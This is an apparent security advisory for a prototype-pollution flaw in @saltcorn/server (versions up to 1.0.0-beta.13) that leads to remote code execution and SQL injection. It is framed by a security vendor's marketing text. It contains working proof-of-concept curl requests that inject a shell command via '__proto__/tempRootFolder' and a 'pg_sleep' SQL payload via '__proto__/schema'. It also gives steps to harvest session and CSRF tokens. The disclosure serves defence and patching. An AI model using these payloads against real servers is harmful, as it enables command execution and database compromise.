GHSA-78P3-FWCQ-62C2

GHSA-78P3-FWCQ-62C2 is a high-severity security vulnerability in @saltcorn/server (npm), affecting versions <= 1.0.0-beta.13. It is fixed in 1.0.0-beta.14.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

@saltcorn/server Remote Code Execution (RCE) / SQL injection via prototype pollution by manipulating lang and defstring parameters when setting localizer strings

The endpoint /site-structure/localizer/save-string/:lang/:defstring accepts two parameter values: lang and defstring. These values are used in an unsafe way to set the keys and value of the cfgStrings object. It allows to add/modify properties of the Object prototype that result in several logic issues, including:

  • RCE vulnerabilities by polluting the tempRootFolder property
  • SQL injection vulnerabilities by polluting the schema property when using PostgreSQL database.

Details

router.post(
  "/localizer/save-string/:lang/:defstring",
  isAdmin,
  error_catcher(async (req, res) => {
    const { lang, defstring } = req.params; // source

    const cfgStrings = getState().getConfigCopy("localizer_strings");
    if (cfgStrings[lang]) cfgStrings[lang][defstring] = text(req.body.value); // [1] sink
    else cfgStrings[lang] = { [defstring]: text(req.body.value) };
    await getState().setConfig("localizer_strings", cfgStrings);
    res.redirect(`/site-structure/localizer/edit/${lang}`);
  })
);

PoC

Setup:

  • set SALTCORN_NWORKERS=1 before starting the saltcorn server (to easily observe the behavior of the PoC)
SALTCORN_NWORKERS=1 saltcorn serve
  • make sure to use PostgresSQL backend
  • login with a user with admin permission

RCE

This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain command executed.

  • check that the file that will be created does not exists:
cat /tmp/RCE
cat: /tmp/RCE: No such file or directory
  • pollute the Object.prototype with a tempRootFolder value set to ;echo+"rce"|tee+/tmp/RCE; by sending the following request *** :
curl -i -X $'POST' \
    -H $'Host: localhost:3000' \
    -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \
    -H $'Origin: http://localhost:3000' \
    -H $'Connection: close' \
    -b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \
    --data-binary $'_csrf=VALID_csrf_Value&value=;echo+"rce"|tee+/tmp/RCE;' \
    $'http://localhost:3000/site-structure/localizer/save-string/__proto__/tempRootFolder'

visit http://localhost:3000/plugins/new

  • enter the following fields:
    • Name: test
    • Source: git
    • other fields blank
    • click Create
  • you will get an error but the command echo "rce" | tee /tmp/RCE will be executed
  • to verify:
cat /tmp/RCE
rce

The RCE occurs because after the previous curl request, the tempRootFolder property is set to ;echo+"rce"|tee+/tmp/RCE; that is later used to build the shell commands.

class PluginInstaller {
  constructor(plugin, opts = {}) { // opts will have the tempRootFolder property set with dangerous values // [2]
    [...]
    this.tempRootFolder =
      opts.tempRootFolder || envPaths("saltcorn", { suffix: "tmp" }).temp; // [3]
	 [...]
    this.pckJsonPath = join(this.pluginDir, "package.json");
    this.tempDir = join(this.tempRootFolder, "temp_install", ...tokens); // [4]
    [...]
  }
  [...]
}

SQL Injection

This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain SQL queries (i.e SQLi).

  • visit http://localhost:3000/table to check the page returns some results (no errors)
  • pollute the Object.prototype with a schema value set to " (just to create an exception in the query that will be executed to demonstrate the issue) by sending the following request *** :
curl -i -X $'POST' \
    -H $'Host: localhost:3000' \
    -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \
    -H $'Origin: http://localhost:3000' \
    -H $'Connection: close' \
    -b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \
    --data-binary $'_csrf=VALID_csrf_Value&value=\"' \
    $'http://localhost:3000/site-structure/localizer/save-string/__proto__/schema'
  • visit again http://localhost:3000/table but this time an SQL error will appear:
syntax error at or near "" order by lower(""

NOTE: Another payload to use as value could be pg_user"+WHERE+1=1+AND+(SELECT+pg_sleep(5))+IS+NOT+NULL+--

The SQL injection occurs because after the previous curl request, the schema property is set to ".

const select = async (tbl, whereObj, selectopts = {}) => { // [2] selectopts
  const { where, values } = mkWhere(whereObj);
  const schema = selectopts.schema || getTenantSchema(); // [3] selectopts.schema
  const sql = `SELECT ${
    selectopts.fields ? selectopts.fields.join(", ") : `*`
  } FROM "${schema}"."${sqlsanitize(tbl)}" ${where} ${mkSelectOptions( // [4] schema
    selectopts,
    values,
    false
  )}`;
  sql_log(sql, values);
  const tq = await (client || selectopts.client || pool).query(sql, values);

  return tq.rows;
};

*** Retrieve valid values for the connect.sid (VALID_CONNECT_SID_COOKIE) and _csrf values (VALID_csrf_Value) :

  • open the browser developer console and go to the Network tab
  • visit http://localhost:3000/site-structure/localizer/add-lang
  • add a language (Name: test , Locale: test) and click Save
  • under the Network tab, filter for save-lang and check the request parameters (Headers and Payload/Request tabs)
  • copy the values for connect.sid and _csrf and paste in the curl command above

Recommended Mitigation

Check the values of lang and defstring parameters against dangerous properties like __proto__, constructor, prototype.

Impact

Remote code execution (RCE), Sql injection and business logic errors.

GHSA-78P3-FWCQ-62C2 has a CVSS score of 7.2 (High). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.0.0-beta.14); upgrading removes the vulnerable code path.

Affected versions

@saltcorn/server (<= 1.0.0-beta.13)

Security releases

@saltcorn/server → 1.0.0-beta.14 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade @saltcorn/server to 1.0.0-beta.14 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-78P3-FWCQ-62C2? GHSA-78P3-FWCQ-62C2 is a high-severity security vulnerability in @saltcorn/server (npm), affecting versions <= 1.0.0-beta.13. It is fixed in 1.0.0-beta.14.
  2. How severe is GHSA-78P3-FWCQ-62C2? GHSA-78P3-FWCQ-62C2 has a CVSS score of 7.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of @saltcorn/server are affected by GHSA-78P3-FWCQ-62C2? @saltcorn/server (npm) versions <= 1.0.0-beta.13 is affected.
  4. Is there a fix for GHSA-78P3-FWCQ-62C2? Yes. GHSA-78P3-FWCQ-62C2 is fixed in 1.0.0-beta.14. Upgrade to this version or later.
  5. Is GHSA-78P3-FWCQ-62C2 exploitable, and should I be worried? Whether GHSA-78P3-FWCQ-62C2 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-78P3-FWCQ-62C2 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-78P3-FWCQ-62C2? Upgrade @saltcorn/server to 1.0.0-beta.14 or later.

Other vulnerabilities in @saltcorn/server

Stop the waste.
Protect your environment with Kodem.